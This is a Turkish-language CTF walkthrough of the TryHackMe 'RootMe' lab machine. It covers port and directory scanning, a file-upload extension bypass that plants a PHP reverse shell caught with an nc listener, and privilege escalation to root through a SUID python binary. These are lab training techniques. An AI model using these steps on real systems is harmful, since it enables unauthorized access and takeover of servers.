Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “RootMe” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.83.143
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 19:12 +03
Nmap scan report for 10.10.83.143
Host is up (0.079s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2 — Dizin taraması yapıyorum.
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.83.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.83.143/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/09 19:12:42 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 314] [--> http://10.10.83.143/uploads/]
/css (Status: 301) [Size: 310] [--> http://10.10.83.143/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.83.143/js/]
/panel (Status: 301) [Size: 312] [--> http://10.10.83.143/panel/]
3 — “/panel” dizinine geldiğim de bir dosya yükleme ekranı çıkıyor. “Php reverse shell” dosyasını yüklemeye çalıştığımda “ PHP não é permitido!” şeklinde bir uyarı alıyorum. Bu uyarıyı geçmek için dosya uzantısını değiştirmeden farklı şekilde yazar bypass etmeye çalışıyorum (File Upload Extension Bypass). Dosya uzantısını “.pHp5” olarak değiştirdikten sonra “ O arquivo foi upado com sucesso!” mesajı alarak başarılı bir şekilde yüklendiğini anlıyorum. “uploads” dizinine gidip bağlantıyı tetikliyorum.
PHP için : .php, .php2, .php3, .php4, .php5, .phps…
[root:/home/alper/Desktop/TRYHACKME]# cp shell.php shell.pHp5
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.83.143 42892
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
16:19:36 up 12 min, 0 users, load average: 0.00, 0.54, 0.68
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
4 — Find komutunu kullanarak ilk bayrağımı buluyorum.
$ SHELL=/bin/bash script -q /dev/null
www-data@rootme:/$ find / -type f -name "user.txt" 2>/dev/null
find / -type f -name "user.txt" 2>/dev/null
/var/www/user.txt
www-data@rootme:/$ cat /var/www/user.txt
*CENSORED*
5 — Find komutu ile suid biti aktifleştirilmiş dosyaları arıyorum. Python komutunda suid bitinin aktifleştirildiğini görüyorum.
www-data@rootme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python <--------
6 — SUID bitinden suistimal etmek için GTFObins sitesinden yazmam gereken komutları öğreniyorum. Root kullanıcısına geçtikten sonra ikinci bayrağı da elde ediyorum.
www-data@rootme:/$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
whoami
root
# cat /root/root.txt
cat /root/root.txt
*CENSORED*